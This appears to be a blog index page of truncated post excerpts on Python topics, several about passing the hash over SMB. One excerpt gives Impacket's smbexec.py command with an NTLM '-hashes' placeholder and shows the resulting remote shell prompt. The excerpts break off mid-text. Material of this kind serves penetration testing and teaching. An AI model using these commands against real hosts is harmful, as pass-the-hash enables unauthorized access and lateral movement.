Reading memory with Python

Passing the Hash with Python SMB

git clone https://github.com/miketeo/pysmb.git python setup.py install Then drop this in test.py

Modify this code in Python\pysmb\python3\smb -> ntlm.py

Z:\Programming\Python\pysmb\python3\tests\SMBConnectionTests>test.py File “Z:\Programming\Python\pysmb\python3\tests\SMBConnectionTests\test.py”, line 7, in conn.connect(“Hostname”, 445) File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\SMBConnection.py”, line 124, in connect self._pollForNetBIOSPacket(timeout) File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\SMBConnection.py”, line 634, in _pollForNetBIOSPacket self.feedData(data) File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\nmb\base.py”, line 54, in feedData self._processNMBSessionPacket(self.data_nmb) File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\nmb\base.py”, line 75, in _processNMBSessionPacket …

Installing Impacet

git https://github.com/SecureAuthCorp/impacket.git pip install –upgrade pip –trusted-host pypi.org –trusted-host files.pythonhosted.org . python smbclient.py https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ python setup.py install Python\impacket\examples>python smbclient.py or Python\impacket\examples>smbclient.py smbexec.py Domain/Username:YourPassword@HostOfServer or \Python\impacket\examples>smbexec.py Domain/Username@ServerHostname -hashes E52CLMHASHGOESHERE168F41AFC3A96:3170221NTLMHASHGOESHERE937FCE3 Impacket v0.9.21-dev – Copyright 2019 SecureAuth Corporation [!] Launching semi-interactive shell – Careful what you execute C:\Windows\system32>set But you can really just use this “smbexec.py Domain/Username@ServerHostname -hashes …

Python Code for Passing the Hash

Install PIP and run

or

for python 2.7 Then Install PyQt4 from here, note that this only works on 2.7 -> https://pypi.org/project/PyQt4/ You may also get the link from here, https://github.com/citronneur/rdpy (in the windows section) (This will not work and will error out, this is for 2.7 only) for python 3.8+ Run this …

Install Visual Studio 6 on Windows 10

http://nuke.vbcorner.net/Articles/VB60/VisualStudio6Installer/tabid/93/language/en-US/Default.aspx Recommendation Minimize 03/24/2016 Important note for Windows 10, Windows 7, Windows XP SP3 You must install and run VS6Installer 5.x ‘as administrator’, otherwise you get a error. Right-click on VS6Installer.exe -> Run As Administrator If you have already tried to install VB 6.0, before using VS6 Installer then you must: uninstall VB 6.0 and …